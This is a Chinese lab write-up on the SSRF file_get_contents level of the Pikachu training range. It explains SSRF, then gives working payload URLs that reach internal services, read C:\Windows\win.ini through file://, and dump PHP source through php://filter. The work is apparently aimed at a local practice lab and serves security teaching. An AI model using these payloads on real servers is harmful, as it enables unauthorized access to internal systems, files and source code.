pikachu靶场通关笔记44 SSRF关卡02-file_get_content(三种方法渗透)

发布于:2025-06-25 ⋅ 阅读:(20) ⋅ 点赞:(0)

目录

一、SSRF

1、简介

2、原理

二、file_get_contents函数

1、功能

2、参数

3、返回值

4、file_get_contents与SSRF

三、渗透实战

1、基本探测

2、http协议

(1)访问upload-labs靶场

(2)访问yijuhua.txt

3、file协议

4、php://filter伪协议

(1)ssrf.php

(2)rce.php


本系列为通过《pikachu靶场通关笔记》的SSRF关卡(共2关)渗透集合,通过对SSRF关卡源码的代码审计找到SSRF安全风险的真实原因,讲解SSRF原理并进行渗透实践,本文为SSRF关卡02-file_get_contents关卡的渗透部分。

一、SSRF

1、简介

SSRF 即服务器端请求伪造,是一种常见的网络安全风险。它主要是由于服务器端在处理用户请求时,没有对目标地址进行严格的过滤和验证,导致攻击者可以构造恶意请求,让服务器以自身的身份去访问其他内部或外部资源。

2、原理

利用 SSRF安全风险,攻击者能够通过伪造请求,绕过防火墙等安全限制,对内网的服务器进行访问和攻击,获取敏感信息,如数据库内容、用户账号密码等,还可能进行端口扫描,探测内网结构和服务分布,甚至利用SSRF风险发起进一步的攻击,如攻击其他应用程序或执行命令等,给企业和用户带来严重的安全威胁,造成数据泄露、系统瘫痪等后果。因此,及时发现和修复 SSRF安全风险对于保障网络安全至关重要。

SSRF(服务器端请求伪造)攻击流程如下:

  • 攻击者向存在SSRF风险的服务器A发送恶意请求,包含指向内网主机B的地址(步骤1)。
  • 服务器A未验证请求目标,直接作为代理向主机B发起请求(步骤2)。
  • 主机B响应请求后(步骤3),服务器A将敏感数据返回给攻击者(步骤4)。

该安全风险绕过了网络隔离限制,使攻击者能够间接访问原本不可达的内网资源(如数据库、文件系统或云元数据),形成安全威胁。示意图通过颜色区分角色,箭头明确数据流向,虚线框突出安全边界突破。 

二、file_get_contents函数

file_get_contents() 是 PHP 中的一个内置函数,其主要功能是把整个文件读入到一个字符串中。

file_get_contents(string $filename, bool $use_include_path = false, ?resource $context = null, int $offset = 0, ?int $length = null): string|false

1、功能

  • file_get_contents() 函数可以读取本地文件系统中的文件内容,也能通过 HTTP、FTP 等协议读取远程文件内容。这使得它在处理本地配置文件、获取远程 API 数据等场景下非常实用。

2、参数

  • $filename:必选参数,它可以是本地文件的路径,也可以是远程文件的 URL。
  • $use_include_path:可选参数,布尔类型,默认值为 false。若设置为 true,PHP 会在 include_path 中查找文件。
  • $context:可选参数,是一个上下文资源,可用于修改 HTTP 请求头、设置超时时间等。
  • $offset:可选参数,整数类型,指定从文件的哪个位置开始读取。
  • $length:可选参数,整数类型,指定要读取的字节数。

3、返回值

  • 若读取成功,函数会返回文件内容的字符串。
  • 若读取失败,则返回 false

4、file_get_contents与SSRF

file_get_contents 函数是 PHP 中用于将整个文件读入到一个字符串中的函数,它本身是一个实用的工具,但在使用不当时可能会导致 SSRF(服务器端请求伪造)。file_get_contents 函数不仅可以读取本地文件,还支持通过 URL 读取远程文件,这就为攻击者提供了可乘之机。如果在使用该函数时,没有对用户输入的 URL 进行严格的验证和过滤,攻击者就可以构造恶意的 URL,让服务器去访问内部网络中的资源。

三、渗透实战

1、基本探测

访问pikachu靶场SSRF关卡的file_get_contents关卡,完整的URL如下所示。

http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php 

点击链接“反正都读了,那就来一首吧(哈哈,错别字)”,如下所示新链接中为file 后跟着个 file并以 http 协议去访问本地的 info2.php 文件,其中file为可控参数。

http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php

其中info2.php,具体文件内容如下所示,如上图所示完全展示其内容。

2、http协议

(1)访问upload-labs靶场

本次计划通过 file= http://127.0.0.1/upload-labs/ 访问同一内网的upload-labs靶场,通过SSRF安全风险来访问,URL如下所示。

http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/upload-labs/

如下所示,成功访问到同一内网中的upload-labs靶场渗透成功。 

(2)访问yijuhua.txt

如下图所示,通过SSRF链接成功访问到yijuhua.txt文档。 

http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/test/yijuhua.txt

3、file协议

修改url为:url= file:///C:\Windows\win.ini,查看文件的内容。

http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///C:\Windows\win.ini

如下图所示,通过SSRF链接成功访问到C:\Windows\win.ini文档。  

4、php://filter伪协议

(1)ssrf.php

使用php://filter协议可以获取代码源码,修改url为: ? file=php://filter/read=convert.base64-encode/resource=ssrf.php,具体如下所示。

http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

base64编码后的源码复制粘贴到hackbar中,选中并选择encoding-base64 decode,如下所示。

解码后如下所示,如下内容即为真实源码。

(2)rce.php

接下来通过php://filter协议可以获取代码rce.php源码,如下所示即为base64加密后的源码。

http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=../rce/rce.php

base64解密后的源码如下所示,渗透成功。


网站公告

今日签到

点亮在社区的每一天
去签到